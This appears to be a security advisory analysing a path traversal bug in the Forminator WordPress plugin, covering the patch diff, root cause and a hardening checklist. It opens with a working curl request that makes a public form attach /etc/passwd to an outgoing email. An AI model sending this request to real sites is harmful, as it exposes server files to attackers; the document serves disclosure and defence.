The Exploit
Unauthenticated attackers can abuse a public Forminator file-upload form with Save and Continue enabled by submitting a crafted upload-1[file][file_path] value pointing outside the uploads directory.
curl 'http://TARGET/wp-admin/admin-ajax.php?action=forminator_frontend_form_submit' \
-H 'User-Agent: Mozilla/5.0' \
-F 'forminator_form_id=123' \
-F 'upload-1[file][file_path]=/etc/passwd' \
-F 'upload-1[file][name]=passwd' \
-F 'upload-1[file][type]=text/plain'
The Forminator endpoint accepts the submission and proceeds to build the Save and Continue email, treating /etc/passwd as an attachment path. The response indicates the form submission succeeded and the email assembly code ran, meaning arbitrary server-side files can be attached to outgoing notifications.
What the Patch Did
Before:
// Set email context to false to avoid replacing images in PDFs.
$old_value = self::$is_email_context;
self::$is_email_context = false;
$this->attachment = apply_filters( 'forminator_custom_form_mail_attachment', $attachment, $custom_form, $entry, $this->pdfs );
self::$is_email_context = $old_value;
After:
// Set email context to false to avoid replacing images in PDFs.
$old_value = self::$is_email_context;
self::$is_email_context = false;
$attachment = $this->filter_attachments( $attachment );
$this->attachment = apply_filters( 'forminator_custom_form_mail_attachment', $attachment, $custom_form, $entry, $this->pdfs );
self::$is_email_context = $old_value;
/**
* Filter attachments to make sure only files in upload dir can be attached.
*
* @param array $attachments Attachments to filter.
* @return array
*/
private function filter_attachments( $attachments ) {
if ( ! empty( $attachments ) ) {
$upload_dir = wp_upload_dir();
if ( ! empty( $upload_dir['basedir'] ) ) {
foreach ( $attachments as $key => $attachment ) {
if ( 0 !== strpos( $attachment, $upload_dir['basedir'] ) ) {
unset( $attachments[ $key ] );
}
}
}
}
return $attachments;
}
The patch added a path confinement check before attachments reach the mail filter. It uses wp_upload_dir() and a strpos() prefix comparison to ensure only files under the WordPress uploads directory are retained.
Root Cause
This is a CWE-22 path traversal / arbitrary file attachment bug. User-controlled data from the public form submission, specifically upload-1[file][file_path], is treated as an attachment path and forwarded into mail assembly without checking whether it lives under wp_upload_dir()['basedir']. The trust boundary between attacker-controlled form metadata and filesystem attachment handling is crossed unchecked, allowing arbitrary files outside the upload directory to be attached to outgoing emails.
Why It Works
The single load-bearing line is the strpos() check inside filter_attachments():
if ( 0 !== strpos( $attachment, $upload_dir['basedir'] ) ) {
unset( $attachments[ $key ] );
}
Without that check, the bug remains exploitable because any upload-1[file][file_path] value outside the upload folder is still passed through to apply_filters() and then attached. The surrounding code that retrieves $upload_dir and iterates attachments is necessary scaffolding; the security control is the path prefix validation itself. The self::$is_email_context lines preserve state during email processing and are unrelated to the vulnerability fix.
Hardening Checklist
- Use
wp_upload_dir()to derive the canonical uploads directory and reject attachment paths that do not begin with that base directory. - Normalize filesystem paths with
wp_normalize_path()orrealpath()before comparison to avoid bypasses via../. - Verify external attachment paths with
file_exists()andis_readable()before queuing them for email. - Treat upload metadata such as
upload-1[file][file_path]as untrusted input and do not use it directly as a filesystem path. - Filter attachment lists before passing them to
apply_filters()or mail-sending functions to ensure the plugin never attaches arbitrary server files.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-5192